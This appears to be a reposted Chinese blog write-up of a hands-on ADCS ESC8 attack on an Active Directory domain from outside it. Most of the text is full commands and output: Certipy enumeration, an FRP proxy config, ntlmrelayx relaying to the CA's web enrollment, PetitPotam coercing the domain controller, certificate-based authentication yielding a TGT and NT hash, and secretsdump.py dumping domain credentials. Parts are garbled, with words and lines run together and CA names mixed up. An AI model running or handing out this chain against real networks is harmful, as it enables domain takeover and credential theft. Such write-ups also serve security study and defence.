ADCS ESC-8 域外利用

源帖子https://blog.897010.xyz/post/25

一台能访问域的电脑 (本次演示纯粹的域外)一个域账号要求:打穿此域

certipy-ad find -u [email protected] -p hacker@123456  -dc-ip 172.x.x.1 -vulnerable -stdout

Certipy v4.8.2-by Oliver Lyak (ly4k)[*] Finding certificate templates[*] Found 33 certificate templates[*] Finding certificate authorities[*] Found 2 certificate authorities[*] Found 22 enabled certificate templates[*] Trying toget CA configuration for'HACKER-CASERVER-CA' via CSRA[!] Got error while trying toget CA configuration for'HACKER-CASERVER-CA' via CSRA: CASessionError: code: 0x80070005- E_ACCESSDENIED - General access denied error.[*] Trying toget CA configuration for'HACKER-CASERVER-CA' via RRP[*] Got CA configuration for'HACKER-CASERVER-CA'[!] Failed to resolve: adrms01.HACKER.0day.com[*] Trying toget CA configuration for'HACKER-ADRMS01-CA' via CSRA[!] Got error while trying toget CA configuration for'HACKER-ADRMS01-CA' via CSRA: [Errno -2] Name or service not known[*] Trying toget CA configuration for'HACKER-ADRMS01-CA' via RRP[!] Got error while trying toget CA configuration for'HACKER-ADRMS01-CA' via RRP: [Errno Connection error (adrms01.HACKER.0day.com:445)] [Errno -2] Name or service not known[!] Failed toget CA configuration for'HACKER-ADRMS01-CA'[!] Failed to resolve: adrms01.HACKER.0day.com[!] Got error while trying tocheckfor web enrollment: [Errno -2] Name or service not known[*] Enumeration output:Certificate Authorities0    CA Name                             : HACKER-CASERVER-CA    DNS Name                            : CASERVER.HACKER.0day.com    Certificate Subject                 : CN=HACKER-CASERVER-CA, DC=HACKER, DC=JHHHHHHHHHHHHHHHHHHHHHHHsemi, DC=com    Certificate Serial Number           : 1C8C8BE4766A07AB4D408E10A583C9AA    Certificate Validity Start          : 2022-06-2305:48:39+00:00    Certificate Validity End            : 2121-06-2305:58:38+00:00    Web Enrollment                      : EnabledUser Specified SAN                  : Disabled    Request Disposition                 : Issue    Enforce Encryption for Requests     : Enabled    Permissions      Owner                             : HACKER.0day.comAdministrators      Access Rights        ManageCertificates              : HACKER.0day.comAdministrators                                          HACKER.0day.comDomain Admins                                          HACKER.0day.comEnterprise Admins        ManageCa                        : HACKER.0day.comAdministrators                                          HACKER.0day.comDomain Admins                                          HACKER.0day.comEnterprise Admins        Enroll                          : HACKER.0day.comAuthenticated Users    [!] Vulnerabilities      ESC8                              : Web Enrollment is enabled and Request Disposition issetto Issue1    CA Name                             : HACKER-ADRMS01-CA    DNS Name                            : adrms01.HACKER.0day.com    Certificate Subject                 : CN=HACKER-ADRMS01-CA, DC=HACKER, DC=0day, DC=com    Certificate Serial Number           : 17FAD204DF8B19BE4C58B64A8B0B7755    Certificate Validity Start          : 2022-02-1609:32:37+00:00    Certificate Validity End            : 2121-02-1609:42:37+00:00    Web Enrollment                      : DisabledUser Specified SAN                  : Unknown    Request Disposition                 : Unknown    Enforce Encryption for Requests     : UnknownCertificate Templates                   : [!] Could not find any certificate templates

CA主机名: HACKER-ADRMS01-CACA域名: CASERVER.HACKER.0day.comCA hostname :172.x.x.10DNS: HACKER.0day.com

serverAddr = "172.x.x.195"serverPort = 7000[[proxies]]name = "test-tcp"type = "tcp"localIP = "127.0.0.1"localPort = 445remotePort = 445[[proxies]]name = "tesxx"type = "tcp"localIP = "127.0.0.1"localPort = 80remotePort = 80[[proxies]]name = "x"type = "tcp"localIP = "127.0.0.1"localPort = 9389remotePort = 9389[[proxies]]name = "xs"type = "tcp"localIP = "127.0.0.1"localPort = 6666remotePort = 6666

ntlmrelayx：impacket-ntlmrelayx --target http://172.x.x.10/certsrv/certfnsh.asp  -smb2support --adcs  -debug --template DomainControllerimpacket-ntlmrelayx --target http://CA服务器地址/certsrv/certfnsh.asp  -smb2support --adcs  -debug --template DomainControllercertipy-ad：certipy-ad relay -target 172.x.x.10 -template DomainControllercertipy-ad relay -target CA服务器地址 -template 证书格式，默认就行 

python3 PetitPotam.py -u 'meetingroom' -p 'hacker@123456' -d 'hacker.0day.com'172.x.x.195172.x.x.1python3 PetitPotam.py -u ' -p '' -d '' 监听的中继IP 域控IP #域控win16以下时支持匿名访问

Impacket v0.10.0- Copyright 2022 SecureAuth Corporation[*] Protocol Client SMB loaded..[*] Protocol Client SMTP loaded..[*] Protocol Client IMAP loaded..[*] Protocol Client IMAPS loaded..[*] Protocol Client HTTPS loaded..[*] Protocol Client HTTP loaded..[*] Protocol Client MSSQL loaded..[*] Protocol Client DCSYNC loaded..[*] Protocol Client LDAPS loaded..[*] Protocol Client LDAP loaded..[*] Protocol Client RPC loaded..[*] Runningin relay mode to single host[*] Setting up SMB Server[*] Setting up HTTP Server on port 80[*] Setting up WCF Server[*] Setting up RAW Server on port 6666[*] Servers started, waiting for connections[*] SMBD-Thread-5 (process_request_thread): Received connection from127.0.0.1, attacking target http://172.x.x.10[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://172.x.x.10as HACKER/DC03$ SUCCEED[*] SMBD-Thread-7 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-8 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-9 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-10 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-11 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-12 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-13 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-14 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-15 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-16 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-17 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-18 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-19 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-20 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] SMBD-Thread-21 (process_request_thread): Connection from127.0.0.1 controlled, but there areno more targets left![*] Generating CSR...[*] CSR generated![*] Getting certificate...[*] GOT CERTIFICATE! ID 146[*] Base64 certificate ofuser DC03$: MIISBQIBAzCCEb8GCSqGSIb3DQ..............  

certipy-ad auth -pfx DC03$.pfx -dc-ip 172.x.x.1 -debug    Certipy v4.8.2 - by Oliver Lyak (ly4k)[*] Using principal: dc03$@hacker.0day.com[*] Trying to get TGT...[*] Got TGT[*] Saved credential cache to 'dc03.ccache'[*] Trying to retrieve NT hashfor'dc03$'[*] Got hashfor'[email protected]': aad3b435b51404eeaad3b435b51404ee:3xxxxxxxxxxxxxxxxxxxx1

python secretsdump.py -hashes :39xxxxxxxxxxx611    hacker.0day.com/dc03$@172.x.x.1

secretsdump.py -hashes :3xxxxxxxxxxxxxxxxxxxx1   -dc-ip 172.x.x.1" hacker.0day.com/[email protected]"  -just-dc-user "域用户名" -debug

必要条件：域管存在强制认证漏洞CA服务器可以注册并采用HTTP协议

复盘一下整个流程1.漏洞检测：使用Certipy工具检测域内是否存在ESC8漏洞，获取CA主机名和域名。检测结果显示存在两个证书颁发机构（CA），其中一个名为HACKER-CASERVER-CA的CA存在ESC8漏洞，表现为WebEnrollment启用且RequestDisposition设置为Issue。2.获取CA信息：通过Ping CA域名或使用AdExplorer工具查找DNS记录来获取CA服务器的实际IP地址。文档中提到的CA主机名为HACKER-ADRMS01-CA，域名为CASERVER.HACKER.0day.com，实际IP为172.x.x.10。设置代理和中继：由于杀毒软件的干扰，Impacket包无法留存，因此使用FRP代理将NTLM中继从虚拟机Kali中代理出来。需要关闭SMB服务以避免端口冲突，并设置FRP代理端口以确保正常通信。3.中继NTLM：使用ntlmrelayx和certipy-ad工具进行NTLM中继攻击，目标是HACKER-CASERVER-CA的CA服务器。通过PetitPotam工具强制域控制器访问中继服务器，成功获取pfx格式的证书。4.后续利用：使用Certipy-ad工具解密pfx文件，获取域管理员的NTLM哈希值。使用impacket包中的secretsdump.py工具导出域用户哈希值。使用wmiexec.py工具进行命令执行，获取域控制器操作权限。5.总结：ADCS基于HTTP协议和NTLM认证机制，存在强制认证漏洞，允许恶意用户窃取域管理员的NTLM哈希。域渗透的大部分漏洞都围绕这两种认证方式。攻击成功的条件包括域管理员存在强制认证漏洞和CA服务器可以通过HTTP协议注册。

在这期间遇到的各种问题踩过的坑也不在少数，好在都一一解决还是那句话凡事发生，皆有利于我                         ---Hne